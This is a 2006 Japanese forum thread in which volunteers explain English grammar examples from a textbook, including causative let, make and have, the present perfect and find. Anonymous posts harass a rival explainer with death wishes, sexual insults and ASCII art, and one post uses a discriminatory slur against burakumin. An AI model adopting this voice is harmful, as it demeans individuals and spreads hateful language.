原形時点でイントネーションを上げて言い足してる感を出してると思うのだが。
原形のみ分詞のみの区切りの文だとそこも含めて1塊で言っちゃう風だったね。
とくにwant you to beやlet you knowみたいに口に馴染んでるよく使う表現は顕著だった。
でもそれはみんなの口に馴染んだから1まとめに言われるようになったとも考えられるわけで。
まあ要は>>6ととる理由を示したかったんだけどね。

>>91はいつも書きこみ形式を断定したり、書いてる人を特定してるけど内部の人なの?
ひょっとして前スレでやけにすばやく削除処理した削除人さん?

>>100
一応借りてあるよ。まあこのスレの流れや雰囲気上俺が誘導しても無理かなと思って放置状態だけど。
ただ晒して無駄に荒れても師走のこのクソ忙しいのにやることが増えるだけだからいかがなものかと。
必要なら晒すけどどうなの?

112 :名無しさん@英語勉強中:2006/12/03(日) 15:23:04
>>111
サンクス。一応用意してあるんだね。
でも確かに晒すと荒れる可能性が十分あるね。
エロさんも管理するの大変だろうし、今はまだ晒さないほうがいいかも。
俺としては荒しの無い掲示板で勉強したいのだが、うまい運用方法は無いだろうか。。。

113 :名無しさん@英語勉強中:2006/12/03(日) 16:03:13
また自演か

114 :名無しさん@英語勉強中:2006/12/03(日) 16:14:58
解説者達はどうやって英語の勉強をしたんですか?

115 :名無しさん@英語勉強中:2006/12/03(日) 20:09:27
えろくしらじらしい。

116 :名無しさん@英語勉強中:2006/12/03(日) 20:30:31
エロの所に荒らしを誘導して、ここを平和にすれば、いいんじゃねえの。

117 :勝手口 ◆KatteG.R4k :2006/12/03(日) 22:04:14
260.(過去形:過去のあるときの動作・出来事)
S / arrived / A((here)) / M2((just now)) (文型:S V A)

過去形は、現在/現実からの「遠隔性(remoteness)」を表します。
状態動詞:過去のあるときの状態
動作動詞:過去のあるときの動作・出来事
動作動詞+頻度副詞:過去の習慣的動作・反復的出来事
該当箇所:
「§183 過去時制 (Past Tense)」

just now は、受験英語では「just now は過去形で使い、現在完了形では使えない」
とされることもありますが(江川 p.237)、
現在の用法では、現在完了形でも使われます(文頭・文中・文末、いずれも可)。
(『テンスとアスペクトの語法』p.165)
参考:
「§187 現在完了と過去時制、(2) 現在完了が使えない場合、[参考]〈just now〉と現在完了」

主語のところは「付帯状況のwith」が使われています。
「付帯状況のwith」は「having O C」として理解するとわかりやすいと思います。
cf. A baby was in her arms.
該当箇所:
「§335 with、(1) 同伴・付加を表す、【7】 付帯状況」

118 :勝手口 ◆KatteG.R4k :2006/12/03(日) 22:04:45
261.(過去形:過去のあるときの動作・出来事)
"M2((When)) / did / S / return?" (文型:S V)
"S / came ((back)) / M2((the day before yesterday))." (文型:S V)

the day before yesterday のところは、副詞的目的格。
該当箇所:
「§66 副詞的目的格」
(例文132、例文149、例文160参照)

119 :名無しさん@英語勉強中:2006/12/03(日) 22:28:19
勝手口さん、西川口さん、いつも解説乙でアリマス。
西川口さんって、1日に10個くらい解説を進めるイメージがあったので、
1個ずつ進めるのはちょっと意外でした。

120 :名無しさん@英語勉強中:2006/12/03(日) 23:34:50
>>116
荒らしてる君とエロが消えれば全て解決。

121 :西川口 ◆Im4lkGa4xk :2006/12/04(月) 01:17:58
>>114
受験時代は、手当たり次第いろいろやりました。
薬袋式にもハマりました。

目からウロコだった参考書は、
「英文法講義の実況中継」山口俊二著
「英文読解講座」高橋善昭著

どんな勉強法がいいのかは、ひとそれぞれだと思いますが、
個人的には、構文理解→暗唱→多読でしょうか。
今また暗唱に戻ってますがw

>>119
スマン orz
実際始めてみると以外と大変で....
今日はがんばって2つやります。

122 :西川口 ◆Im4lkGa4xk :2006/12/04(月) 01:21:22
102の文
You know the results ... を不定詞で名詞化→ (for) you (to) know the results ...
let の目的語になって、for と to が消えた形。

let は、辞書に 「許す」が原義とあります。
Let me go! (私が行くのを許しなさい)→(離してよ!)。

I'll let you know...
(あなたが知るコトを許可します)→知らせてあげます。
とはいえ、let you know は、かなり「ひとまとまり」の感じがします。

通常results は複数形になります。複数科目を意識すればよいでしょうか。

when 以下は副詞節。they は results を受けてます。(それら(試験の結果)が入手可能になれば)
available は、(利用可能・入手可能)という意味で、人・もの等、かなり広い範囲で使えます。

電話の応対で「席を外してます」は、He is not available.
ホテルで、We don't have any rooms available.(空室はありません。)
状況によっては、Is she available? (彼氏いないの?)

123 :西川口 ◆Im4lkGa4xk :2006/12/04(月) 01:25:06
103の文
My uncle made me serve as interpreter.
I serve as interpreter. を不定詞で名詞化→ (for) me (to) serve as interpreter
make の目的語になって、for と to が消えた形。
(私が通訳を務める状況を(叔父が)作った。)

make には、力を加えて加工するというニュアンスがあるので、
my uncle made me というと、強制的、高圧的な感じです。
力を加えて、どういう方向に加工したかといえば、serve as interpreter

124 :名無しさん@英語勉強中:2006/12/04(月) 01:47:36
みんながんばれ

125 : ◆IuJiIQCtrs :2006/12/04(月) 07:38:44
>>122
そのletの意味はいかがなものか。
letって許すっつってもそんなに堅苦しい事じゃないし、
原義は正確には「疲れたからほっとく」だったと思うよ。

>Let me go! (私が行くのを許しなさい)→(離してよ!)。
も行くのの許可を強いてるんじゃなくて、行く事につべこべ口を挟まず黙認しろってことじゃんね。
let it be/goありのままそのまんまである受け入れる
let go=lose control
let it snow雪やコンコン。
雪が降る事を神様か誰かにお願いしてるんじゃなくて、今降ってる雪を止ませるようなことなく黙認しろ邪魔するなってことだよね。
let me introduceこっちが勝手に紹介するんでつべこべ言うなよって事だよね。

126 :名無しさん@英語勉強中:2006/12/04(月) 10:13:45
 

127 :名無しさん@英語勉強中:2006/12/04(月) 19:28:09
エロ糞ムカツク

128 :名無しさん@英語勉強中:2006/12/04(月) 20:00:04
>>17
>でも、前にも書きましたが、
>「S V O to do/S V O C は突き詰めると S V O だ」という考え方には、
>まったく賛同できません。

亀レスだが勝手口さんに同意。
エロはいつも奇をてらったような解説ばかりしてウザイ。
自分で作ったサイトに篭ってオナニーしてろって。

129 :勝手口 ◆KatteG.R4k :2006/12/04(月) 21:46:10
262.(過去形:時制の一致)
S / told / O / <that s v x>. (文型:S V O O)

that節内は、M2((whatever might happen)), S / was / prepared / for it (文型:S V C A)(受動態)
whatever節は、whatever / might happen (文型:S V)

「be prepared for O / be prepared to do」は「準備が整っている」という状態を表します(他動詞の受動態)。
「prepare for O / prepare to do」だと「準備する」という動作を表します(自動詞)。
わりと間違いやすいので、辞書で確認しておきましょう。
(似たような例として「be determined to do / be determined that...」)

時制の一致については、「第21章 時制の一致と話法」の§350〜§355 を参照。


263.(過去形:時制の一致)
S / said / <that s v x>. (文型:S V O)

that節内は、
S / would let / us / 原形不定詞 (文型:S V O C)

「let O 原形不定詞」については、例文102参照。
ちなみに、現在では受動態はまれで、「be allowed to do」などを用います。
該当箇所:
「§170 使役動詞、[1] let, make, have の用法、(1) let」

原形不定詞のところは、
know / M2((later)) / A((about...examination)) (文型:(S) V A)

「know O」だと直接的で、「know about/of O」だと間接的になります(「know that s v x」も間接的です)。

なお、出口さんのサイトで「later:副(→let)」とありますが「later:副(→know)」だと思います。

130 :西川口 ◆Im4lkGa4xk :2006/12/05(火) 02:43:26
>>125
「...するのを許す」が本義とは、ジ―ニアス英和辞典にあったものなので、クレ―ムなら大修館書店にw
というのは冗談で、letについては、次のような認識です。

なにかをお願いをするときのフレ―ズ「let me ...」(私が... をすることを許可してください)

彼女の写真を持ち歩く友人に対して、
Let me look at the photo. (その写真見せてよ)

新しいゲ―ムを独占するお兄ちゃんに対して、
Let me play the game. (僕にもゲ―ムやらせて)

*この辺は軽い許可を求める気持ちで、放っておいてほしいというニュアンスは無いと思います。
(もちろん、疲れてもいません。)

Let me know the results. (結果を教えてください。)
*放っておかれたら結果は聞き出せません。

I'll let you know the results. (結果を教えてあげます。)
*結構、親切です。

つまり、let は、「放っておくという」というよりは、「許可する・認める」と理解した方が
汎用性があるように思います。

131 :名無しさん@英語勉強中:2006/12/05(火) 07:46:25
エロの珍説お披露もたいがいにしろ

132 :名無しさん@英語勉強中:2006/12/05(火) 07:54:18
勝手口さんと西川口さんに勉強させてもらってる身としては、
エロは珍説を言っては進行を妨げる忌ま忌ましい存在でしかない。

133 :名無しさん@英語勉強中:2006/12/05(火) 11:07:35
その自分のサイトとやらでオナニーしてればいいのに、
何でわざわざ荒れるの分かっててくるんだろ?

134 :名無しさん@英語勉強中:2006/12/05(火) 11:25:13
勝手口と西川口が住人に受け入れられてるのが疎ましいんだろうな。
だから荒らしたいんだよ。

135 :名無しさん@英語勉強中:2006/12/05(火) 12:36:51
粘着が、>>128
・奇をてらったような解説
・自分で作ったサイトに篭ってオナニー
をうまく受けて、エロへの粘着技術を向上させた件。

136 :名無しさん@英語勉強中:2006/12/05(火) 15:33:37
>>135
こいつエロじゃね?

137 :名無しさん@英語勉強中:2006/12/05(火) 17:36:07
>>135
まあ所詮、コテも名乗れない名無しが解説と関係ないとこで煽ってるだけなので気にせずやってください。
俺も別にずっと覗いてるわけじゃないから、流れに乗れないこともある。止めたわけじゃないおーw

138 : ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/12/05(火) 19:48:28
。 o 彡川出川三三三ミ〜 プゥ〜ン
 。 川出川/゜∴゜\ b〜 プゥ〜ン
 。‖出‖.゜◎---◎゜|〜 ゜ プゥ〜ン
  出川‖∵∴゜。3∵゜ヽ〜< プゥ〜ン
。 川出∴゜∵∴)д(∴)〜゜プゥ〜ン
 。出川∵∴゜∵o〜・%〜。   プゥ〜ン
o 川出‖o∴゜〜∵。/。 プゥ〜ン
 川出川川∴∵∴‰U 〜プゥ〜ン
。U 〆∵゜‥。 ゜ o\。゜〜。プゥ〜ン
。。/∵\゜。∵@゜∴o| 。o゜。゜ プゥ〜ン
 /::::∴/:::::::::::‥ ∵゜ | 〜 。oプゥ〜ン
(:::::::: (ξ:  ・ ノ:::・/:| 。゜o 。。プゥ〜ン
o\::::: \:::::::∴。 (::: | o。゜ o。プゥ〜ン
 /:::\::::: \::: ∵゜ ヽ| 。゜。゜プゥ〜ン
/::::   \::::: \::: ヽ )∴ シコシコ シコシコ シコシコ シコシコ シコシコ
|:::∴o゜  \::   ̄ ̄⊇)__ 〜 モワー モワー モワー モワー
|::::::: ∴゜∵。\;;;;;;;;;;;(__(;;;・) 〜 モワー モワー モワー モワー
\::::::::::。ξ(;;; );; ) ゜。。   〜プゥ〜ン
∵\::::::::::::。∵ ) ) ゜o゜ o。プゥ〜ン
。o。。):::::∵゜ // 。o。゜プゥ〜ン
。゜ /::::::::: // 。 ゜プゥ〜ン
 /:::::  (_(_ 。oプゥ〜ン

139 :名無しさん@英語勉強中:2006/12/05(火) 20:51:45
>>135
エロの自演は全く進歩ないね。
氏ねばいいのに

140 :名無しさん@英語勉強中:2006/12/05(火) 21:15:58
俺が>>128だが、エロは早く引退しろ。
ビジュアル、解釈教室をやった伊藤信者の端くれとしていわせてもらうが、
エロの解説は伊藤神のそれとの乖離がひどい。
(エロがネクサス訳に否定的であることなど)
エロは超上級者なんだろうが、
解説については一般の学習者に対し百害あって一利ではないかな。
最近でいえばletに関し、自分の知識をひけらかしたいのか、
特殊なイメージを植え付けようとしてるし。

141 :名無しさん@英語勉強中:2006/12/05(火) 21:31:22
>>140
俺が思っていた事をうまく言葉にしてくれたなぁ。

142 :勝手口 ◆KatteG.R4k :2006/12/05(火) 22:04:48
>まとめサイトの管理人さん
毎日更新おつかれさまです。


264.(現在完了形:完了)
S / have ((recently)) come to realize / <that s v x>. (文型:S V O)

現在完了形については、
「§186 現在完了 (Present Perfect)」

現在完了形・完了で使われる副詞要素の例:
already、just、just now、lately、now、recently、of late、not yet、yet
(『英文法詳解』p.237)

「come to do」は、
・(1) 実際に場所が移動する場合、「〜しに来る」「来て〜する」
・(2) 精神面/心理面での変化を表す場合、「〜するようになる」(この場合 do は通例、状態動詞)
(2)の場合は助動詞的に考えた方がわかりやすいと思います(連鎖動詞と呼んだりします)。例文22参照。
該当箇所:
「§219 to不定詞の副詞用法、[1] 動詞を修飾する用法、(6)-[注]1.〈come to 〜〉」

なお、出口さんのサイトでは、例文22と例文264・例文586の解釈が異なっていますが、
自分の好きな解釈で良いので、統一して理解しておいた方が良いと思います。

that節内は、
S / is / the key {←to <understanding the present> and <predicting the future>} (文型:S V C)

訳文は「過去というものが...手がかりであると、」などの方が良いと思います。

143 :勝手口 ◆KatteG.R4k :2006/12/05(火) 22:05:41
265.(現在完了形:継続)
S / have passed / M2((since s v x)) (文型:S V)
【直訳風】「...から、5年を超える年月が経過している」

現在完了形・継続で使われる副詞要素の例:
since s v x、since O、for O、already、these ten days、how long、so far
(『英文法詳解』p.238)

「more than 数」は、厳密には、その「数」自体を含みませんので、
「〜以上」ではなく「〜より多い」となります。(例文138参照)
ただ、特に問題がなければ「〜以上」と訳すことができます
(実際の英文でもそれほど意識されていないことが多いように思います)。
厳密な「〜以上」は「数 or more」「数 and over」など。
参考:
「§152 比較級構文、Q&A 66 「〜以上,以下,未満」はどう表現するか?」

時間が主語になるときの注意については、
「§343 集合名詞・複数形名詞と動詞、[2] 複数形名詞と動詞、
 (4) 時間・距離・金額・重量などを表す語の複数形を単数形動詞で受ける場合」
「§346 複合主語と動詞、(1) 〈A and B〉、[注]1を超える数を受ける動詞」

since節内は、
S / came / to live ((in this house)) (文型:S V to do)(自動詞+to不定詞の副詞的用法)
(ここの「come to do」は、例文264の分類の(1)です)

こういうのは、今でも受験生は書き換えをやるんでしょうかね。

144 :西川口 ◆Im4lkGa4xk :2006/12/06(水) 02:07:03
104の文
Somebody sweeps this room clean.を不定詞で名詞化→(for) somebody (to) sweep this room clean
have の目的語になって、for と to が消えた形。
誰かがこの部屋をきれいに掃除するという状態を持つ→誰かに掃除させる

使役動詞のmake が、有無を言わさず力ずくでやらせる感じに対して、
have は、「持っている」つまり力を使わずともやらせることができる状況。
つまり子分や下っ端にやらせる感じがあります。上司→部下、客→店、親→子、
シチュエ―ションは様々ですが、何らかの気分的な上下関係があるところで
用いられるような気がします。(ただし、あまり自信無し)

sweep this room clean は5文型

would
will は、強い意志を表す助動詞です。I will (やるぞ!)という感じですが、
過去形にして、一歩後退させたwould にすると、I would (できれば、したいなぁ)というふうに、
強い意志とは、ほど遠いものになります。

145 :名無しさん@英語勉強中:2006/12/06(水) 08:17:21
俺も>>128だが、

エロの解説は伊藤神のそれとの乖離がひどい。
よって解説については一般の学習者に対し百害あって一利ではないかな。


4:主観で決め付ける
11:レッテル貼りをする
22:勝手に極論化して、結論の正当性に疑問を呈する。
ということだろうか。

146 :名無しさん@英語勉強中:2006/12/06(水) 11:17:46
>>146
こいつエロじゃね?

147 :名無しさん@英語勉強中:2006/12/06(水) 11:22:21
( ´,_ゝ`)プッ

148 :名無しさん@英語勉強中:2006/12/06(水) 11:30:41
>>149
こいつエロじゃね?

149 :名無しさん@英語勉強中:2006/12/06(水) 12:53:28
            ,,,,,、-rー--- 、,,_
          _、-'"~ ̄         \_
         /                \ 
       /               __ \
      ./          _,、r-'''''""~   ミ_  ヽ
     /      _,、;;;、r-'            'i  ヘ,
    /'''''''" .r==彡"~ __              ')  'i,
   /    ./     丶゚、            |   |  
   /彡   ./        ~''''    :::''''''-::;,,_ /l    |
  r/    /             ::::  _   ''リ '    |  
  /    ./        , -   ::;;::: '・ヽ, ./     |  
. / /  /     :::'''"  l ;;;,   ::|::'  ~~ヘ./     .|
/ 彡l   |    ::"     ヽ...,,, |     ./      .|   
巛 |  ‖     ヽnニ''--、:::: ''''''~    丿      /     
 \|ヘ  |       ●■◆ \:::::|    ./      丿    
   ヽヘ lヽ      ヽニニゝ-'''~  /      /
     /ヽ\       ;:::::/  /      ./     
 _,,/   \     ::::/--フ"      /
.イ く  ::    ヽ、__∠、r-'"~ミ   ノ <、,,,,_
.~  ''-、、,,,,,,__,,,、-r−''"~    ~'''"~       \


150 :名無しさん@英語勉強中:2006/12/06(水) 15:32:55
>>145
なんか部落民みたいな発想ですね。
エロじゃなくてエタにしたら?

151 :名無しさん@英語勉強中:2006/12/06(水) 15:38:36
粘着自演(エロ)のガイドライン
1:事実に対して仮定を持ち出す
2:ごくまれな反例をとりあげる
4:主観で決め付ける
5:資料を示さず自論が支持されていると思わせる
6:一見関係ありそうで関係ない話を始める
7:陰謀であると力説する
8:知能障害を起こす
9:自分の見解を述べずに人格批判をする
10:ありえない解決策を図る
11:レッテル貼りをする
12:決着した話を経緯を無視して蒸し返す
13:勝利宣言をする
14:細かい部分のミスを指摘し相手を無知と認識させる
15:新しい概念が全て正しいのだとミスリードする
16:さも当然のように未決着事項を前提にする。
17:論点をすりかえる。
18:事実の一部のみを抜き出してミスリードする。
19:相手に譲歩したと見せかけながら、自分の意見を押しつける。
20:条件の包含関係を間違える
21:全てか無かで途中を認めないか、あえて無視する。
22:勝手に極論化して、結論の正当性に疑問を呈する。
23:自分で話をずらしておいて、「話をずらすな」と相手を批難する。
24:ネタと決めつけて議論を停止させる。
25:嘲笑で優位に立った様に振舞う
26:反論の代わりに詭弁ということにしてすます

152 :名無しさん@英語勉強中:2006/12/06(水) 16:27:47
>3:自分に有利な将来像を予想する
が抜けてるぞ?故意なのか?

153 :名無しさん@英語勉強中:2006/12/06(水) 17:39:05
エロの事を多少気の毒にも思い始めてもきてたが、
連日の自演にその感情もなくなった。
もしや本当のアンチがエロ支持者を騙って工作してるのか?

154 :名無しさん@英語勉強中:2006/12/06(水) 19:03:00
>>152
たまたま。ちょっとしたミス

155 :”管理”人:2006/12/06(水) 19:33:58
>>142
毎日更新できるのは毎日解説してくださるからなのです。
お二人に大感謝m(_ _)m

156 :名無しさん@英語勉強中:2006/12/06(水) 21:15:25
>>155
エロ様にも感謝しなさい。

157 :勝手口 ◆KatteG.R4k :2006/12/06(水) 21:38:56
>>144
工口さんが文法前スレ640で紹介していた
ttp://forums.randi.org/archive/index.php/t-14547.html
では、例文104はかなり横暴な言い方だとみんな言ってますね。

ロイヤルの「§170 使役動詞、[1]-(3) have、[注]〈would have+O+原形不定詞〉」
で挙がってる例文も、インテリマフィアっぽいです。
I would have you know that I am your boss.《文語的》
(私がボスだということを知ってもらいたい)

158 :勝手口 ◆KatteG.R4k :2006/12/06(水) 21:39:52
266.(現在完了形:完了)
"A((Where)) / have / you / been?" (文型:S V A[C])(疑問文)
"S / have been / A((to the station)) / M2((to v x))." (文型:S V A[C])

「have been (to 場所)」は、「have gone/come」の代わりに使われるもので、
「そこでの滞在/訪問」がすでに終了していることを意味します(PEU, §95)。
行ったけどもう戻ってきてる、ってな場合ですね(完了:行ってきたところだ/経験:行ったことがある)
(「have gone」だと、基本的には「行ってしまって、今ここにいない(完了)」)。

「Where have you been?」は、文脈によっては「どこにいたの?」「どこから来たの?」とも訳せます。

なお、文法的には、「have gone to」は「経験」を表せず「have been to」を使うことになってますが、
実際には、「経験」の「have gone to」もかなり使われています。

該当箇所:
「§186 現在完了、(1) 動作・出来事の完了・結果、【1】 完了、[注]have been to 〜」

to不定詞のところは、
see / a friend / ((off)) (文型:(S) V O)(「see O off」で「見送る」)


267.(現在完了形:経験)
S / says / <(that) s v x>. (文型:S V O)

that節内は、
S / has ((never)) caught / cold / M2((during...years)) (文型:S V O)

現在完了形・経験で使われる副詞要素の例:
before、ever、never、often、once、seldom、sometimes
(『英文法詳解』p.238)

159 :名無しさん@英語勉強中:2006/12/07(木) 00:10:06
>>155
と同じくお二方に感謝。そして管理人さんにも感謝です。
世の中には奇特な方がいるもんですね。

160 :西川口 ◆Im4lkGa4xk :2006/12/07(木) 00:12:56
>>155
乙です。
亀の歩みですが、地道にやってきますんで。

>>158
レスありがとうございます。
おかげで、少し自信がでてきましたw

ところで、面白いと思ったのは、104の文をadviceだととらえた人がいたことですね。
おそらく、would に仮定法を感じて、「私だったら、誰かに掃除させる」という
捉え方でしょうか。

161 :西川口 ◆Im4lkGa4xk :2006/12/07(木) 00:31:43
105の文
Young people were watching the soccer game on television.を不定詞で名詞化
→(for) young people (to be) watching the soccer game on television
found の目的語になって for と to be がまとまって消えた形。現在分詞が補語といっても同じ。
(若い人たちがテレビでサッカ―の試合を見ているのを見つけた)

find は、訳すのが難しい。訳さないのが和訳の作法なのかもしれませんが、それでは、英語の
直訳にならないので、あえて「見つけた」のままにしておきます。

頭からすらすらっと意味を取れるのが、本来は理想でしょう。
(若い人たちを見つけた、(彼らは)サッカ―の試合を見ていた、テレビで。)

asの基本は、「同じ」
本文は接続詞として使われてます。
「パブに入った」のと、「若い人たちに気付いた」のが同時というのが基本的な意味。

on television 「接着」のon
映像という薄くてヒラヒラしたものがテレビという箱にくっついていると考えます。(あくまでイメ―ジ)
立体的な映像がテレビの中で動いてる、そんな未来なテレビの場合は、in television になるかも
しれません。3Dな感じのときは、in です。
I looked at myself in the mirror.(鏡の中の自分を見た)

pubというとイギリスを連想しますが、後半で、soccer game とあるので、アメリカの話???
(*サッカ―は英では、football)
スポ―ツを観戦しながら飲むような場所は、sports bar といいます。
アメリカならば、アメフト、野球、ホッケ―、バスケだと思いますが....。

....イギリスを旅行したアメリカ人の体験談と考えれば納得でした。

162 :名無しさん@英語勉強中:2006/12/07(木) 20:30:33
>>130
>「...するのを許す」が本義とは、ジ―ニアス英和辞典にあったものなので、クレ―ムなら大修館書店にw


ジーニアスは誤りが多いので有名。
版を重ねていってるが未だに専門雑誌等で誤りが報告されてる。
作者の主観も少なからず入ってる事をお忘れなくw
まぁあくまでこれは一般論ね

163 :名無しさん@英語勉強中:2006/12/07(木) 22:00:29
>>162
じゃあ参考にすべき辞書と、その説明ぐらい書いたらどうだ?エロさんよ。

164 :名無しさん@英語勉強中:2006/12/07(木) 22:04:22
>>163
自演乙

165 : ◆IuJiIQCtrs :2006/12/07(木) 22:14:47
ジーニアスの誤植がどうのというのは俺は知らんが、
letが疲れたからほっとくは多分これを見たからだった気がする。
>The primary sense appears to be "to let go through weariness, to neglect.
http://www.etymonline.com/index.php?search=let&searchmode=none

許すは許すでも俺はallowと全然違うと思うがね。


166 :トモ:2006/12/07(木) 22:21:42
いつもタイミングがいいのはなんでだろーなんでなんでだろー

167 : ◆IuJiIQCtrs :2006/12/07(木) 22:22:31
まあカキコついでに
>>161
>find は、訳すのが難しい。
そこは訳がむずいよね。自分が自発的に探してお目当ての若い人たちがテレビでサッカ―の試合を見ているのを見つけたわけだから。

そういう意味で、本の訳もそういうニュアンスを訳してない意味でいかがなものかと思ってた。
ここは敢えてネクサクで訳さない方が自然じゃない?
パブに入って、サッカ―の試合を見ている若い子達を見つけた。

168 : ◆IuJiIQCtrs :2006/12/07(木) 22:23:31
>>166
自己紹介ですか?

169 :勝手口 ◆KatteG.R4k :2006/12/07(木) 22:36:36
>>162
>ジーニアスは誤りが多いので有名。
他の辞書より特別に多いってことではないと思います。
ユーザーが多いと見つかるバグも多くなりますし、
「誤記・誤植のない辞書」「作者の主観が入っていない辞書」などない、が一般論かと。

どのような問題がありそうなのかは、下のサイトなどが参考になると思います。
ttp://ikeuchild.hp.infoseek.co.jp/english%20grammar.html
ちなみに、ジーニアスの誤りが報告されている専門雑誌とは『英語教育』のことだと思いますが、
大修館自身が発行しているものです。
G4 で改善されていると良いですね(とは言っても1年くらいは様子見ますが)。

なお、let については、
『ランダムハウス』にも「ギリシャ語 ledein「疲れている」,ラテン語 lassus「疲れた」と同根」との記述があり、
『謎解きの英文法・文の意味』では「Let使役:無干渉(許容、放置)」(p.166)とあります。
ただ、ODEやOALDなどの英英辞典は let を allow で説明しているので、allow がそれほど強い意味ではないのだと思います
(allow の項では let で説明しています)。

170 :勝手口 ◆KatteG.R4k :2006/12/07(木) 22:38:02
268.(現在完了形:時・条件を表す副詞節での未来完了形の代用)
M2((When s v x)), / S / will take / you / A((to the lake...)). (文型:S V O A)

従属節内の will の省略については、例文258を参照。

when節内は、S / (will) have finished / writing the letter (文型:S V O)

to の目的語のところは、the lake {← ((about two miles→)) beyond the hill}
「((about)) two miles」は副詞的目的格。


269.(現在完了進行形:継続)
It / has been raining / M2((since...)),// (文型:S V)
but // it / may clear ((up)) / M2((this afternoon)). (文型:S V)

完了進行形については、「動作動詞で『継続』を表す場合に使う」というのが
一番分かりやすい考え方だと思います(便宜的なものですけど)。
動作性の強い動詞(完結的動詞、瞬時的動詞)は、単純な完了形では「継続」を表すことができません。

なお、単純な完了形は、そもそも since や for など(例文265参照)がなければ「継続」の意味になりません。
つまり、基本的に「状態動詞、かつ since/for がある場合」でないと、単純な完了形は「継続」を表せません。

状態動詞以外で、「単純な現在完了形+for/since」で「継続」を表せる動詞の例:
expect、hope、keep、learn、lie、live、look、rain、sit、sleep、snow、stand、stay、study、
teach、wait、want、work
(江川 p.241。安藤 p.156。『実例英文法』§192)

該当箇所:
「§193 完了進行形 (Perfect Progressive)」

「this afternoon」は副詞的目的格。

171 :名無しさん@英語勉強中:2006/12/07(木) 22:53:26
また自演か

172 :名無しさん@英語勉強中:2006/12/07(木) 22:55:40
エロさん、解説が止まってる2章の続きをよろしくお願い致します

173 :名無しさん@英語勉強中:2006/12/07(木) 23:01:27
キタ━━(゚∀゚)━━!!

174 :名無しさん@英語勉強中:2006/12/07(木) 23:10:15
エロは2章の解説をやるべきだろう。
他の二人の解説者方も手を出せないからな。

175 :名無しさん@英語勉強中:2006/12/07(木) 23:49:29
>>168
おたくの事ですってば

176 :勝手口 ◆KatteG.R4k :2006/12/08(金) 00:03:34
>>167
この find は「自発的」ではないと思います。
文脈上「自発的に探す」ことが示されていなければ、「偶然に見つける」ととるのが普通でしょう。

>ここは敢えてネクサクで訳さない方が自然じゃない?
たしかに構文的には二義的ですが(安藤 p.829)、
特定的な目的語ではないのですし、「サッカ―の試合を見ている」は新情報なので、
ネクサスで読むのが自然だと思います(訳は別の問題ですけど)。

177 :名無しさん@英語勉強中:2006/12/08(金) 00:40:35
質問

1.We had a very good time.
2.Does your watch keep good time?

1.のtimeには冠詞がつくのに対し、2.のtimeに冠詞がつかないのはなぜ?

178 :名無しさん@英語勉強中:2006/12/08(金) 00:49:53
>>177
スレ違いだ、ボケ。

179 :西川口 ◆Im4lkGa4xk :2006/12/08(金) 00:59:16
>>167
引用間違ってました
many young people .....a soccer game ....
many が抜けて、a を the にしてました。すいません。

find は、探しているものを見つけるだけでなく、探してないものまで
見つけてしまいます。
I found she was angry. (怒ってるのがわかった。)

本文の場合も、たくさんの若い人たちを捜していたわけではなく、単に、
出くわした、もしくは、気付いただけで、本文の訳でいいような気がします。
もしも、お目当ての人たちであれば、the group of young people のように
the をつけたくなりますが、どうでしょうか。

ただ、英語を読む際には、なにか訳語を当てはめたいというのが、人情
なので、「見つける」という訳でよしとしましたが、う―ん、
いまいちだったかな?

180 :名無しさん@英語勉強中:2006/12/08(金) 01:07:43
エロなんて相手しなくていいよ
自分の解説に専心してくれ

181 :名無しさん@英語勉強中:2006/12/08(金) 01:11:58
>>178
一応、この本の内容なんだけどな。。

182 : ◆IuJiIQCtrs :2006/12/08(金) 01:23:27
じゃあ
I saw young people watching the soccer game on television.
I found young people watching the soccer game on television.
I found she was angry.
I saw she was angry.
違いは?

>>177
スレ違いだが、timeは加算不加算が取れる。
数えられる時はいつからいつまでと輪郭がはっきりしてる時。

183 :西川口 ◆Im4lkGa4xk :2006/12/08(金) 01:26:17
106の文

You are speaking fluent English. を不定詞で名詞化
(for) you (to be) speaking fluent English
have の目的語になって、for と to be が消えた形。you と all は同格。

(あなたたち全員が流ちょうな英語を喋っている状態を私は持つだろう)
→ 話しているようにしてあげます。

within a year は、どこにかかるのか?

「おまえら全員を英語ぺらぺらにしてやるよ。」
「し―ん...」
「1年以内にな。」
「え―っ、たった一年で!?」

within a year と聞いて、びっくりしたら、どこにかかるかは気にしなくていいでしょう。

それにしても、have の使役はエラそうです。

184 :名無しさん@英語勉強中:2006/12/08(金) 01:26:27
>>182
seeとfindは
単に見るだけか、そのときに気づいたかの違い?

185 :西川口 ◆Im4lkGa4xk :2006/12/08(金) 01:38:44
>>177
a がつくと、ひとまとまりの感じになります。
an apple はリンゴまるごと一個ですが、apple だけだと「すりおろしリンゴ」みたいな
形のないイメ―ジになります。

a time は、なにかしら一区切りできる時間になります。(たとえば1時から3時とか)
time は、区切りのない抽象的な時間になります。時計の正確さは区切られるものではないので、
a はつきません。

ちなみに、
Do you have a time? は、(暇ある?)ですが、
Do you have the time? は、(今何時?)です。(*時計持ってる?ぐらいの感じでしょうか)

186 :西川口 ◆Im4lkGa4xk :2006/12/08(金) 01:47:49
>>182
see は、時間的な継続を感じますね。多少なりとも見続けてる感じ。
find は、気付いた瞬間をクローズアップしてる。
違うかな?

187 :名無しさん@英語勉強中:2006/12/08(金) 01:56:50
西川口って職業が先生?

188 :名無しさん@英語勉強中:2006/12/08(金) 09:41:06
余計な詮策は不要

189 :名無しさん@英語勉強中:2006/12/08(金) 18:04:18
エロキエロキエロ
口 エ
キ 口
エ口キエロキエロ

エ口キエロ

キエロ



190 :名無しさん@英語勉強中:2006/12/08(金) 20:10:04
(`m´)←エロ
エロ氏ね

191 :名無しさん@英語勉強中:2006/12/08(金) 21:21:41
この本はクソだからマジで使わないほうがいいよ。
数学に例えると、難しい公式を使ってるけど初歩的な計算間違いをしているような本。
計算間違いを指摘すると、頭が悪いから公式が理解できないんだろと信者が反論をしてくる。救いようがないな。

192 :名無しさん@英語勉強中:2006/12/08(金) 21:51:03
>>189 信者1号
>>145 信者2号


193 :名無しさん@英語勉強中:2006/12/08(金) 22:06:46
またエロか

194 :名無しさん@英語勉強中:2006/12/08(金) 22:12:49
エロ

7:陰謀であると力説する
8:知能障害を起こす
9:自分の見解を述べずに人格批判をする
11:レッテル貼りをする
12:決着した話を経緯を無視して蒸し返す
17:論点をすりかえる。
21:全てか無かで途中を認めないか、あえて無視する。
22:勝手に極論化して、結論の正当性に疑問を呈する。
25:嘲笑で優位に立った様に振舞う
